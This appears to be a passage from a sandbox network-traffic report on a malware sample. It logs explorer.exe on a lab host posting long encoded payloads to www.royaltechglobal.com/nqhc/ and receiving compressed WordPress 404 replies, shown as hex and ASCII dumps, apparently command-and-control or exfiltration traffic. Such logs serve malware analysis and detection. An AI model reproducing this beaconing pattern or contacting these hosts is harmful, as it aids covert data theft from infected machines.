45 79 66 72 44 39 4d 63 70 34 48 46 61 74 45 4d 4f 53 47 38 4a 4f 47 57 42 71 53 51 66 59 65 4d 30 34 32 48 71 50 59 32 44 48 37 4d 44 61 34 4d 63 2d 53 70 74 70 7e 63 74 4d 51 72 6c 4f 75 49 72 64 66 55 4e 65 36 30 32 61 54 4d 79 75 7a 54 28 39 4a 33 54 45 70 31 78 71 62 79 44 74 28 52 70 6f 5a 34 7e 48 63 38 52 64 52 6d 34 57 4d 39 4a 69 61 7a 30 4d 43 50 6f 33 6a 39 42 77 7e 61 77 56 76 53 6d 55 6f 36 52 7a 32 2d 67 54 53 46 37 46 72 71 57 51 55 46 72 6d 43 44 54 30 34 41 36 64 28 44 31 6a 54 47 36 4a 65 4c 6a 4d 41 59 4a 59 31 6c 37 63 67 7a 62 74 4c 47 67 72 51 30 63 76 43 44 68 6a 32 68 57 62 4c 42 72 2d 6d 45 4a 44 70 4b 4c 65 73 50 66 48 38 4c 74 55 4a 66 71 70 33 61 4b 6e 42 4a 49 68 28 4f 66 6a 48 55 7e 50 75 50 66 69 44 4f 34 52 73 49 43 45 34 64 63 49 4f 51 51 57 4d 48 54 62 31 78 5a 46 4e 63 72 33 37 72 4b 53 7a 35 41 4e 53 58 37 7a 46 66 6e 36 6b 59 33 64 58 77 51 53 6e 7a 7a 51 63 59 62 57 4d 77 62 58 28 77 6c 33 57 35 6c 63 76 53 35 35 51 79 43 31 5a 77 6a 54 64 43 48 5f 4d 55 48 56 6d 70 62 6e 43 53 70 6e 39 48 55 63 36 33 43 61 4e 53 4e 46 4b 54 53 34 77 42 66 73 6f 2e 00 00 00 00 00 00 00 00 Data Ascii: 7nWHV=cCD7hmI-Mx(giWHf4G20pVah(zvDDh9nhvrEoXgM5Hu4hQJd8-9TVZhyK-3r~eE-XsqXJDNhb9A5shXm(jgLkKadI2oj58hHIphSrJ4BAwpGkjuq~ZQZE1yk6Bn7xmO8DOk3k6QlgR0Eg8z7YOzTuzm6EyfrD9Mcp4HFatEMOSG8JOGWBqSQfYeM042HqPY2DH7MDa4Mc-Sptp~ctMQrlOuIrdfUNe602aTMyuzT(9J3TEp1xqbyDt(RpoZ4~Hc8RdRm4WM9Jiaz0MCPo3j9Bw~awVvSmUo6Rz2-gTSF7FrqWQUFrmCDT04A6d(D1jTG6JeLjMAYJY1l7cgzbtLGgrQ0cvCDhj2hWbLBr-mEJDpKLesPfH8LtUJfqp3aKnBJIh(OfjHU~PuPfiDO4RsICE4dcIOQQWMHTb1xZFNcr37rKSz5ANSX7zFfn6kY3dXwQSnzzQcYbWMwbX(wl3W5lcvS55QyC1ZwjTdCH_MUHVmpbnCSpn9HUc63CaNSNFKTS4wBfso.
Dec 5, 2022 15:15:28.337711096 CET	11234	IN	HTTP/1.1 404 Not Found Date: Mon, 05 Dec 2022 14:15:28 GMT Server: Apache Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://royaltechglobal.com/wp-json/>; rel="https://api.w.org/" Upgrade: h2,h2c Connection: Upgrade Vary: Accept-Encoding Content-Encoding: gzip X-Endurance-Cache-Level: 2 X-nginx-cache: WordPress Content-Length: 13070 Content-Type: text/html; charset=UTF-8 Data Raw: 1f 8b 08 00 00 00 00 00 00 03 ed 72 6b 73 db c6 b2 ed 67 a9 ea fe 87 31 5c 89 a4 2d 02 20 f8 d0 83 22 99 63 2b ce e3 1c 3b ce b1 9c 9d bb 4f 9c 52 0d 80 26 30 d6 60 06 99 19 90 62 74 f4 df 6f 0f 00 be 24 8a 62 64 67 a7 ea ee 4d 5b e4 4c 4f f7 ea d5 ab 57 ff d9 d7 6f cf df ff e3 c7 57 24 35 19 1f ee ee f6 ed 2f 89 99 1a 38 dc 28 87 70 2a 92 81 03 c2 fd e9 c2 d9 dd c9 15 8c d8 f5 c0 91 49 0f 0b 4c ae 7b be 2f 93 dc cb c0 17 fa b9 43 10 60 a7 9f 02 8d 87 bb 3b 84 ec f4 33 30 94 44 29 55 1a cc c0 f9 e9 fd 37 ee 89 b3 fc 24 68 06 03 67 cc 60 92 4b 65 1c 12 49 61 40 60 ea 84 c5 26 1d c4 30 66 11 b8 e5 a5 ae db dd d9 e9 3f 73 5d f2 82 73 c2 04 79 2b 80 5c bc 7a 4b 3a 5e cb 3b f6 02 e2 12 ca a4 06 e9 45 32 23 ae 3b b4 e9 4b 9d 94 0c a5 d1 4b 7d 84 64 22 86 6b 87 f8 77 53 13 10 a0 a8 91 6a 29 fb 4e d3 fd 17 df bf c5 df 83 79 f7 19 8c 8e 14 cb 0d 31 d3 1c 81 68 9e 73 16 51 c3 a4 f0 79 7c f8 51 4b 81 90 9c 6a 8d 6f 25 59 57 47 29 64 d4 4e b8 b3 73 e3 fc 47 d9 ef da 38 3d a7 d2 f8 83 ff c1 af 52 3c a9 12 a7 e1 fc 47 a2 68 9e 3a bd 5f 30 d9 36 c1 cc 97 0a 55 8f 54 91 85 af 99 36 36 87 c5 2b 00 4a 4e 29 37 10 a5 09 97 21 e5 56 a0 0f be f8 2d 8d 3e f8 cf c3 79 31 af 8a 99 81 cc e2 bc e2 90 e1 e4 2b 9d 6c fc 7b 7c df b6 c7 73 be 28 c8 a5 66 56 08 a7 17 54 4d 9c de 02 f8 67 08 7f a4 09 6c 8b 8b 79 76 53 98 f8 9d cc 6c 55 a1 f8 16 55 b7 58 86 e2 96 84 b6 d5 67 3e c1 6d e3 e9 3a dc c5 5a 56 a3 f5 c9 6a 54 e8 0b 4d 7e 90 86 7c 23 0b 11 6f 2b 4c 0d 80 f2 e4 0a c6 4c 16 7a 3b 89 96 c4 f9 75 59 9e b7 2a a1 82 fd 5e fa 7e 6b ab c8 d5 a2 7a 96 77 36 97 bc c7 64 f2 6d 99 bd f5 b2 1b 0e 97 89 5c 96 f5 fb 0c 45 7d 1b 7e 84 c8 6c 8b 32 c9 dd 48 0a 03 c2 7c f0 8b 9c 4b 1a eb 0f 7e ab d9 6a 7d f0 83 e0 83 1f 29 99 e7 10 bb af b1 d3 1b 7a a5 dc c0 cb 45 f2 a4 91 2d 04 16 4e 58 6c 52 34 45 a7 d9 70 52 60 49 6a 9c 5e a7 8d 9b 61 96 7c 39 cd d3 a0 6f 97 17 f4 24 83 3d 9f 40 98 57 55 7f c4 55 48 5d bc a6 22 29 4a fe 0e 08 f7 a7 0b 1b d4 3f 52 65 de 8e b6 1f 09 db 6b 66 c0 da 34 54 40 e3 48 15 59 b8 75 79 3d c3 a2 d2 7a f7 9e 2a 17 b6 c1 b6 eb 9b 11 da de 91 1b 4c bd 56 a4 bc b0 34 53 50 4f 5b 3c 8e f7 eb ed ee ce 4e df d7 91 62 b9 19 da f3 33 d7 25 2f 38 27 4c 90 b7 02 c8 c5 ab b7 c4 75 87 bb bb bb d5 d3 fb 94 69 62 c7 22 f8 2b 73 c3 32 f6 3b c4 64 c2 4c 4a 4c 0a e4 1f 92 6a 53 56 e5 bc 48 10 64 1c 9c 7a 41 40 5c 52 31 f3 fd a9 cd b0 6c fc 89 54 71 ae 40 6b bf ca d5 be 06 e9 97 ed 76 fa 86 19 0e 43 6b 43 22 a4 21 23 59 88 18 51 ee 69 d3 f7 ab 4c 2c c9 c0 50 92 2b 99 83 32 d3 81 23 93 1e 97 11 e5 e0 90 48 0a 03 Data Ascii: rksg1\- "c+;OR&0`bto$bdgM[LOWoW$5/8(pIL{/C`;30D)U7$hg`KeIa@`&0f?s]sy+\zK:^;E2#;KK}d"kwSj)Ny1hsQy\|QKjo%YWG)dNsG8=R<Gh:_06UT66+JN)7!V->y1+l{\|s(fVTMglyvSlUUXg>m:ZVjTM~\|#o+LLz;uY^~kzw6dm\E}~l2H\|K~j})zE-NXlR4EpR`Ij^a\|9o$=@WUUH]")J?Rekf4T@HYuy=z*LV4SPO[<Nb3%/8'Luib"+s2;dLJLjSVHdzA@\R1lTq@kvCkC"!#YQiL,P+2#H
Dec 5, 2022 15:15:28.337759972 CET	11236	IN	Data Raw: c2 0c 50 b9 4b 54 8e f8 eb d3 4b a4 a5 ec c7 bb 3f 08 65 25 ba 2c f7 b9 80 7b a8 ba 52 9f 58 9b 0d 1c 9a e7 9c 45 e5 7e 7c 1e 1f 7e d4 b8 27 12 71 aa f5 c0 29 a5 73 75 94 42 46 dd 44 d1 3c 75 86 b8 f8 b2 c1 b5 99 6f df f7 ab 14 0f 97 6d dd 5a 65 Data Ascii: PKTK?e%,{RXE~\|~'q)suBFD<uomZe~y:<MC5^dUQ"@f~h8LNx%(0h!95FTvb"t~+@M]&.CoS~ska5IF.vy%W+6lcmre#DV
Dec 5, 2022 15:15:28.337796926 CET	11237	IN	Data Raw: ef 07 bd 7d cc 30 86 46 69 99 b4 ef 48 51 3f 1f d8 de ab 2f 25 3b 6d a8 81 28 a5 22 01 a7 b1 44 de 89 64 96 73 30 e0 0c 06 03 5a 4d 72 61 73 ed 62 ee ce 75 70 d0 d8 07 2b bf 2c 54 04 ff fb bf 37 b7 07 5e 24 45 84 e9 d6 ba 5f 45 48 6b e9 7e d0 03 Data Ascii: }0FiHQ?/%;m("Dds0ZMrasbup+,T7^$E_EHk~o/Lo{n'LreTd8A{uKg}_Gffi#.vu8L!7;19a30g;T1SH&]J&iz9"]
Dec 5, 2022 15:15:28.337833881 CET	11238	IN	Data Raw: 0b dc 1e 83 94 c7 25 a4 2d cb 2a de 38 08 fa 6e da ab 3d 50 96 3d b2 8a 8c 19 37 2c 90 a5 58 16 b3 65 d5 9c a1 3d 0a a3 e0 b7 82 29 88 5d eb b4 b5 24 e6 76 3a cb 69 1c 33 91 2c 3c 5e 8a dc f4 da 9b d7 25 c5 85 e5 aa 35 43 a2 29 b0 24 35 25 c4 13 Data Ascii: %-*8n=P=7,Xe=)]$v:i3,<^%5C)$5%M;bJhEESqFQGReP[4l"j,(#hSrcT,o=%'gt/a@5:[W-A9u(Uf%g,I.UOb5.vQEcV^Fht(YFn7n8=!
Dec 5, 2022 15:15:28.337872982 CET	11240	IN	Data Raw: b5 4f 36 a4 9c 60 4a d7 6b 1e d9 94 db de 24 05 05 fb 1e d3 28 c4 54 16 c6 1d 71 b8 3e b8 49 68 6e 07 ea da 9c 50 c6 53 b2 92 21 27 64 48 3c ca 59 22 38 8c cc 0d 46 28 5a d8 9e cf 32 d4 93 09 97 09 ce 70 ed da 50 85 2f cd 3b 61 10 31 8e f2 28 b8 Data Ascii: O6`Jk$(Tq>IhnPS!'dH<Y"8F(Z2pP/;a1(bI:G//-G#M]i-$XKe+IH!$Z+.Xmf!];aI{dLNrrpr28ppgVlbi_&f:{9(>+)@{
Dec 5, 2022 15:15:28.337933064 CET	11241	IN	Data Raw: ca 1f 3e a2 87 17 9c 86 87 6f 45 75 e7 85 a2 75 31 5e 85 91 c2 fe aa 28 65 a8 91 d1 87 5f d3 02 9d 0d 6a 16 1d 4b cc 0e ca 56 81 6d d5 3a 6f 95 97 56 75 69 97 97 76 75 59 62 d4 3a ef 96 97 6e 75 39 2a 2f 47 d5 e5 b8 bc 1c 57 97 93 f2 72 52 5d 4e Data Ascii: >oEuu1^(e_jKVm:oVuivuYb:nu9/GWrR]Ni=b\sKT[AP~NjD>4:Lfe',T?nK*PKYH\2KfqR^@DL,tr\|~NC&hs'YP2mT
Dec 5, 2022 15:15:28.337971926 CET	11242	IN	Data Raw: 7b 24 83 98 d1 c1 1e e5 7c 8f f8 c3 dd 3e 67 e2 8a e0 4e 06 7b 1a 9d 0e 3a 05 30 7b 84 c5 83 bd f1 c4 8d a9 ba 72 43 2e a3 2b b7 7c 75 4b 88 54 c1 68 b0 97 1a 93 f7 7c 5f c9 29 e5 06 a2 34 e1 32 a4 dc 8b 64 e6 4f 72 37 92 c2 80 30 be 49 21 03 ed Data Ascii: {$\|>gN{:0{rC.+\|uKTh\|_)42dOr70I!X>LV{xOSc@]O0\|B)63?aT31.Q(AJL5;HP^Gf(;)A"{sY&f:tR-i+r+\8c
Dec 5, 2022 15:15:28.338022947 CET	11244	IN	Data Raw: 0f 95 49 ac 91 87 ff 3f fb fd df 56 0f b6 f6 76 b0 b5 99 83 7f bb f7 9f e2 de bc 50 39 07 77 0a 1c ab fe 55 1d ec 75 3b a7 cd e0 f4 a8 79 7c d2 69 db a6 de e9 c9 49 ab dd 6d 9d 76 82 e0 f8 a8 fb f9 fd ed 1d 23 6e e7 b8 d9 2d fb b4 b1 63 6b 85 c3 Data Ascii: I?VvP9wUu;y\|iImv#n-ck8A_\24&ZB*oS9Dj0Q_:=L&Ifip&/MZZ><dTh;Qq"%E yh31,d7#4?cP#
Dec 5, 2022 15:15:28.338072062 CET	11245	IN	Data Raw: aa 11 bb c6 e9 0b 5e 91 c5 b0 1b 2c ac 5c 27 d4 fb b9 2c 19 f7 39 5b e4 22 df cc 0d ba 0b a2 b3 20 59 3c 9b 69 0e 6e 54 68 23 97 a3 32 fc 08 91 b9 1f 47 b0 61 9f 92 54 c1 08 ed 64 4c ae 7b be af e4 94 72 03 51 9a 70 19 52 ee 45 32 73 86 df c9 0c Data Ascii: ^,\',9[" Y<inTh#2GaTdL{rQpRE2s>p6]CqZ3iEx4q;H~YV[04yW\|V'[2f4Gx$ohd+6+8dvWp,1Ic#rK7#F\j GCj
Dec 5, 2022 15:15:28.338109016 CET	11246	IN	Data Raw: 26 ed fb d5 6b 99 7d 27 75 6f 93 75 5b cd 56 cb 0f 02 7f 6f 48 7e 90 63 c8 42 50 c4 c6 c8 12 e2 1f 86 6b 5a b8 b7 91 91 9f 03 ad 79 6a d1 2e 20 37 9f 87 5d f3 c4 e2 bd 28 92 42 9b 4f 07 3b b6 60 ff 59 f0 e9 a7 43 1d 55 50 02 3e 1d aa 6b a1 de d0 Data Ascii: &k}'uou[VoH~cBPkZyj. 7](BO;`YCUP>k@S+?]BB}]/})b9?1p?_BYr3J2 08>q,6CvwfxDyJEyATs@g#
Dec 5, 2022 15:15:28.452188969 CET	11247	IN	Data Raw: e4 a1 db 76 96 11 77 ca 82 f9 08 f9 54 d9 11 49 24 85 a1 0c 07 75 d6 b0 ca 67 f9 59 e8 36 9d 21 ea 5e 8a 3c d3 78 32 99 78 e3 09 1a 21 03 5d 0a 5c 1d fd 91 02 70 63 aa ae dc 89 54 71 ae 40 6b b7 7c f2 89 a1 2a 01 33 d8 bb 0c 39 15 57 7b c3 af 31 Data Ascii: vwTI$ugY6!^<x2x!]\pcTq@k\|39W{1Y?,f\^q}n<k#%9/rb#\JrWl,\?.JHS^-rWXzD,7LsYG:Uti/$I]"q?j#g

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
13	192.168.11.20	49849	192.185.32.157	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 5, 2022 15:15:30.234698057 CET	11254	OUT	POST /nqhc/ HTTP/1.1 Host: www.royaltechglobal.com Connection: close Content-Length: 51815 Cache-Control: no-cache Origin: http://www.royaltechglobal.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.royaltechglobal.com/nqhc/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 37 6e 57 48 56 3d 63 43 44 37 68 6d 49 2d 4d 78 28 67 69 57 48 66 34 47 32 30 70 56 61 68 28 7a 76 44 44 68 39 6e 68 76 72 45 6f 58 67 4d 35 48 6d 34 68 69 42 64 39 5a 52 54 61 35 68 79 4a 2d 33 71 7e 65 45 5a 58 6f 4f 54 4a 44 51 63 62 5f 49 35 74 32 7a 6d 28 51 49 4c 79 61 61 41 48 57 6f 68 6f 73 67 45 49 70 39 4f 72 4a 39 38 48 44 31 47 6c 67 32 71 70 65 45 65 48 6c 79 59 36 42 6e 33 6d 32 4f 30 44 50 51 6e 6b 36 4d 6c 67 53 41 45 76 76 62 37 61 64 62 54 30 7a 6d 35 52 69 65 72 4e 64 4e 6b 70 34 44 52 61 74 45 79 4f 51 71 38 4a 4f 6d 57 43 74 7e 58 52 59 65 4d 33 34 32 49 75 50 45 36 44 47 58 45 44 61 4d 4d 63 2d 36 70 74 4a 7e 63 6f 74 51 73 78 2d 75 4b 76 64 65 63 65 4f 6d 43 32 61 58 69 79 76 48 54 7e 4e 64 33 53 7a 46 31 39 76 37 79 64 64 28 50 6d 49 5a 6e 78 6e 63 67 52 62 78 51 34 57 73 4c 4a 6c 61 7a 30 74 69 50 75 53 50 2d 43 51 7e 63 28 31 76 48 77 6b 6b 32 52 77 66 6e 67 54 54 65 37 45 66 71 57 6a 63 46 73 6a 69 41 51 6b 34 48 76 4e 28 53 37 44 66 32 36 4a 44 47 6a 4e 6f 79 4a 62 5a 6c 37 38 67 7a 4c 63 4c 42 71 62 51 7a 44 66 43 64 7e 7a 32 50 57 62 48 33 72 5f 79 2d 4a 54 46 4b 4e 75 38 50 49 6e 38 49 72 30 4a 62 77 5a 32 51 4f 6e 42 4a 49 68 7a 77 66 69 37 55 7e 64 75 50 4f 43 7a 4f 39 43 45 49 46 30 34 62 63 49 50 65 51 57 77 4b 54 62 4e 66 5a 45 38 4a 72 78 6a 72 4c 48 66 35 42 4f 4b 55 72 7a 45 30 6a 36 6b 4c 7a 64 54 6a 51 53 72 72 7a 51 4d 49 62 6b 49 77 61 58 76 77 68 33 57 36 33 4d 76 56 70 5a 51 6f 50 56 46 57 6a 54 42 38 48 5f 4a 4a 48 58 6d 70 65 47 6a 57 35 6d 31 4e 41 75 69 42 4d 4e 6b 62 44 33 71 69 44 34 55 79 42 72 62 56 38 65 36 6b 55 61 49 30 37 47 68 61 46 58 4b 6f 49 48 57 72 58 44 37 62 54 6e 65 57 54 34 42 76 66 57 46 76 79 42 75 73 50 4d 64 74 57 53 44 42 38 6c 48 32 56 46 6c 74 7e 67 42 75 59 70 6e 53 7a 46 72 68 47 38 76 43 54 72 36 50 66 33 76 36 4a 30 76 39 69 41 32 37 39 6f 33 56 57 54 4e 4f 64 72 6a 43 34 72 64 6d 55 47 30 38 4d 59 4b 76 73 75 51 48 6e 30 74 39 35 2d 45 38 57 51 45 5a 5a 39 6b 48 45 6f 41 6e 56 68 54 73 56 6e 69 52 37 37 72 45 58 42 45 56 4a 52 65 76 52 63 4c 33 58 61 58 31 39 4a 39 4e 36 53 4e 4f 74 6a 38 68 71 2d 4f 38 5a 64 6d 48 38 4c 79 59 4b 73 77 76 4a 50 61 72 46 73 45 50 6f 64 37 44 71 6c 58 73 36 6e 4d 38 39 77 45 4a 62 6a 36 36 77 42 61 33 49 4c 37 73 35 34 4b 66 71 36 4b 69 31 32 73 37 63 31 74 55 73 51 51 4c 48 4c 4e 71 36 67 7a 61 43 4c 66 55 39 6d 4e 45 75 45 52 55 5a 5a 4e 50 30 76 36 73 32 50 43 46 51 55 59 41 63 6c 36 4e 58 65 6a 41 4b 67 34 72 75 42 63 34 50 51 28 37 36 45 59 52 41 39 56 65 36 66 34 58 49 4a 74 56 48 34 7a 6f 55 37 61 49 28 39 76 4d 28 39 34 72 71 2d 49 70 65 72 42 6d 50 7a 31 4d 4b 65 54 67 71 68 62 76 55 64 31 38 4b 46 71 79 4e 52 64 51 46 6a 76 50 4e 7a 47 56 44 32 36 32 45 30 48 7a 32 5a 75 49 30 43 37 64 63 41 4b 49 78 68 30 56 30 53 55 77 6c 58 78 4d 36 42 6c 75 33 48 4a 51 7e 33 71 76 72 46 4a 32 50 73 4f 51 4b 56 4b 45 38 54 69 33 57 62 46 48 74 39 58 52 7a 2d 39 33 79 2d 6c 6e 75 46 30 4e 63 64 54 64 47 6c 4e 78 55 5a 32 49 76 58 74 66 4f 58 28 4d 28 62 70 61 66 76 32 35 39 64 57 79 4e 45 70 62 68 77 63 68 54 5f 28 74 43 72 4a 35 67 44 36 47 42 37 67 4c 44 2d 4f 5f 73 4c 72 37 65 4f 39 43 56 52 5a 37 36 4c 69 67 52 31 46 43 4f 53 59 56 48 71 75 59 54 38 58 5a 32 39 42 72 42 58 47 42 4a 30 34 30 48 47 77 4b 6a 5f 47 52 45 6b 70 63 5a 53 28 56 6f 6e 7a 66 6f 4e 39 55 7e 6a 79 6f 6f 42 62 5f 54 6a 4a 67 63 77 62 77 30 7a 63 68 7a 5a 73 41 73 65 74 2d 71 34 59 79 7e 33 65 41 72 48 6b 56 51 76 6a 65 45 4c 76 4f 71 68 47 4c 6a 4b 50 45 4c 35 73 37 67 30 47 6f 6d 2d 51 4d 66 44 50 38 41 51 6d 67 73 4b 66 51 6f 36 32 65 68 76 7e 75 56 43 7a 77 58 55 62 68 6a 78 69 68 6a 67 6e 6f 5a 58 4f 31 79 31 6a 43 4a 43 4d 46 5a 55 7a 71 52 39 71 6f 4f 42 37 32 53 59 4e 62 6d 69 47 56 38 33 7a 36 43 52 48 6e 62 58 4e 47 51 54 4e 37 4f 48 76 6a 70 58 31 55 61 76 30 31 48 30 55 64 28 4d 77 6e 76 6e 39 47 30 45 57 6d 64 33 47 35 33 59 44 50 41 63 34 51 73 4a 4f 34 30 55 48 45 77 69 53 56 43 44 37 68 61 42 77 76 4e 70 36 45 31 58 49 6e 71 73 72 36 50 6a 61 44 69 61 59 56 6f 4b 75 71 79 77 39 50 7e 63 31 7a 6e 37 4a 69 31 4a 46 75 58 Data Ascii: 7nWHV=cCD7hmI-Mx(giWHf4G20pVah(zvDDh9nhvrEoXgM5Hm4hiBd9ZRTa5hyJ-3q~eEZXoOTJDQcb_I5t2zm(QILyaaAHWohosgEIp9OrJ98HD1Glg2qpeEeHlyY6Bn3m2O0DPQnk6MlgSAEvvb7adbT0zm5RierNdNkp4DRatEyOQq8JOmWCt~XRYeM342IuPE6DGXEDaMMc-6ptJ~cotQsx-uKvdeceOmC2aXiyvHT~Nd3SzF19v7ydd(PmIZnxncgRbxQ4WsLJlaz0tiPuSP-CQ~c(1vHwkk2RwfngTTe7EfqWjcFsjiAQk4HvN(S7Df26JDGjNoyJbZl78gzLcLBqbQzDfCd~z2PWbH3r_y-JTFKNu8PIn8Ir0JbwZ2QOnBJIhzwfi7U~duPOCzO9CEIF04bcIPeQWwKTbNfZE8JrxjrLHf5BOKUrzE0j6kLzdTjQSrrzQMIbkIwaXvwh3W63MvVpZQoPVFWjTB8H_JJHXmpeGjW5m1NAuiBMNkbD3qiD4UyBrbV8e6kUaI07GhaFXKoIHWrXD7bTneWT4BvfWFvyBusPMdtWSDB8lH2VFlt~gBuYpnSzFrhG8vCTr6Pf3v6J0v9iA279o3VWTNOdrjC4rdmUG08MYKvsuQHn0t95-E8WQEZZ9kHEoAnVhTsVniR77rEXBEVJRevRcL3XaX19J9N6SNOtj8hq-O8ZdmH8LyYKswvJParFsEPod7DqlXs6nM89wEJbj66wBa3IL7s54Kfq6Ki12s7c1tUsQQLHLNq6gzaCLfU9mNEuERUZZNP0v6s2PCFQUYAcl6NXejAKg4ruBc4PQ(76EYRA9Ve6f4XIJtVH4zoU7aI(9vM(94rq-IperBmPz1MKeTgqhbvUd18KFqyNRdQFjvPNzGVD262E0Hz2ZuI0C7dcAKIxh0V0SUwlXxM6Blu3HJQ~3qvrFJ2PsOQKVKE8Ti3WbFHt9XRz-93y-lnuF0NcdTdGlNxUZ2IvXtfOX(M(bpafv259dWyNEpbhwchT_(tCrJ5gD6GB7gLD-O_sLr7eO9CVRZ76LigR1FCOSYVHquYT8XZ29BrBXGBJ040HGwKj_GREkpcZS(VonzfoN9U~jyooBb_TjJgcwbw0zchzZsAset-q4Yy~3eArHkVQvjeELvOqhGLjKPEL5s7g0Gom-QMfDP8AQmgsKfQo62ehv~uVCzwXUbhjxihjgnoZXO1y1jCJCMFZUzqR9qoOB72SYNbmiGV83z6CRHnbXNGQTN7OHvjpX1Uav01H0Ud(Mwnvn9G0EWmd3G53YDPAc4QsJO40UHEwiSVCD7haBwvNp6E1XInqsr6PjaDiaYVoKuqyw9P~c1zn7Ji1JFuXIxkCnk1E9qSQU5c911oQ_RtGZge4UnWli~FUKNzEj38xueZnPN_iqr3ABEfQVVDSkosJTWILNFxdELG9NuObvpLBRKHsit8H9iI2iRPkNmScMT-O_WiE-RSLn35c0hc2-g5AdLPYszRMIMYOQn6lLysCm~qKKf_iwYCIDBNb9ONSoweWeiMgfExifGxRJNUKvhtU3qad1LgygiIJP~bLe00q6fWcAAxffaByh2NftaIIwO3l78rAznFtAiz24s-GerDpIvDViAMfOlrXw4mBZ8J(36E16~chqXZCLXc9exgYPxAac1qX3eNbPN02L0WGSUxJZSLUNVTVaenttuxzp~Xb9Nph6zy0av9EtwvF8nB8-mstN4WXYzknH21WjIpxrqihLhMcG3-6owcWuGFp7KzIVfheGjFWfaP~KGR4fvJ(xf9UzrJ2W(1PMv5Tle9eOHnh0ff7Ban(p3bAC~oNcU3p_Cv2w9lqElV(_4pfJlSe-qY7HSJbxEL3pFe4j1rVIwZutC6KKMcA5PGsf743_cywZZU2h~rQrqlqOjFDHi2uezk2w0T8ejeHiJyh88keJV0NulXIR7mXv7R68Gl246kaFy3Clf8M3VB5wqWAkWXuuzsQSpwxLOe7AdCJ-0Dx3FdHNsa1zpnBEKUy4SzW19vH7zHB5QUiH~fgzfWflgKjxxLlW6i42VXoF0mp2UHp6wOflIVpX0FYxk1bLXF~NVj(cX_oc32WwUr1VLb6OGOdvD4oxYHTWKYFEZvyC8F9gcVhh0ol_OlGZT1uy62TzUM4rWuA-KNm43qgCXlfN8RaztLThpXWA806o6NdwRTFX6WgzNMAoXACI~emCUDojGSeL3XyK97UD4-RxrsOJQABWuhabl37ZsLvnGin10LlrcvD9GW8IQ4A14Z1PeG76aSy8uDw5XodYaepbhfCMk_~nmDVE~AqqXNgXp60Ukwhxy1bdMnRjvw3uH_Kb(JRadaGh9nCHlA4nTJ5cA-zkTe6HqNSU4kF1f2p_E3vwRdFws37lmxXDmyDH7a(e0F7Vl5t5PS1GrD8m9QUwoun5IE4ID3KprR7TDq(UGIo-0WIqWKXVKwII89Dw924G~qA32QfCzRzra2dUkWYgGErwC_C5j8HNAWQjU-M6ONR_m-2JAiit0NU1zazbvsvczn6Hw7u1(mm_M_tMJvbmcrBA5uVs0Amxip~fSFtZ74PHomX4ueC2un(F1A4PvYQwD8xEBA8Xu_K4OPAOSPbwBi2-qp6mYa(i1QSqbJhxECDtsIJgVSVcm5sYxkXhGy4FrxF2fOzpInUV0zl6B-DF5DMV9lFJnsu0QnkCAc1It2syNGDQUcFm~sJ1UYswHrnHwSEf1lundys3siJI136-YBAx0hneHUGow7kRzXCFEjfsnYyZlwCAh7vb(epivaRIP5Mxf3(rJTtUS9ulw3l0~O6i(bOPGgg4Rwry9ixOLqOIu1pRl6CBUlJIUbgDIn7TI60FFjY9Yh~lOAIy42xSzRGpzExiUhKWmUg-XE6es8kHlYOLHP8cKF6TDXIRwu9xg_aKVoPFOsZdXUabi-HhLQTvcLFTDCDc95vXc9vTGt(zDHblvl0E5Xs2a0INHu94tAe788xTrBW35HsNBaU5AgPc8ybio8K62UYqUzuspuObO4qXGOe9omjektJpyvDEvFDCTnodEQoM(sLT87Z-3C4aMoO6yxauhiZP8fLiengjGcZIcLxGAU5GUaCbf-u0~9tTzrY6pIVygsDSINzH8Y0MxL0R70Ao2Qzdo0eSEDfgA7z0LtHZS5q93N1lA7duty8RuzEmTqCMfcYdiAdzUVfUhgpFWTbLeE(sz_FfQo0qwYpvb3Yi0ruRepdiUnTIWjgD9DxwrtdgoiwSEeCK5EDZME7ST7jJ0lGOD6fr3yUP4YTjblSQ~XuVzyq4m3mOk0Cxy-4YNV52yD7N9tpIWRjxifUYR-LFSv5cy7MnTOWErUkTXHHqR14XJFFxsntdMI2NgHBpr3(cj73-zUMDCd9-I_Tza7cIkXlpdwUQHziDwgbDykjIl6N72KTEp66UfyLO(z7BPhoy(-(1OCWGQwGZx6PPXaA1(WmHmZPR3SDDg75xVRlbJYQLNEnKgjwHQrlZF2iAeLoUQ6Hww0ViI1buMT9NDCP_MouFBrts801JRT7nzjY5sPoAJArqBZ(o6nbjKqdto31XSVi7LpQFNW(uzk3UlSHUrDIakW4v84kSSqvzXXBDDdvwDVCAIwB9A5A-C4Oye6sAiHdJVb4TZVVLHP5cYHAOX-HHrb9gj72gHUQbQViOuQKF1dg3T_65x5jDtmvQSYBUz5h71V3kV68ZCfk1cwjfGtizaicl93Mw0aK6Rm1CmKz9cLXaQqRayxY7GJQDYt9cGHlbjS3HB5JZuWNyRQgWuzwTLzxrLjrkjqvygNjuUnDSbUHV9yNbn64O54fBHHEkJAfx8pXdIdkGXLPnrZNHO_fZw3zRnYEBNA~yOJVTtVFd(mfFH3oHgZA1rRZnbw4tKvqi0ntrukBtg7xauViwo2KhzS8R5EbrOYKlIymKdcbcvp8COnthCgo3T72p3ynLRoieD3AOueRqDok7tiMj9ujvzGltXRbGGcOgx5Ghr5(MaMTL6JKoiTvhAHBwRm2dhvY95fLa2n3inPW69foYRQP-QIt_LMCi2Dlr2GQmbwPm~NFm9NOt9QwcgbXnSdOK18CIeo
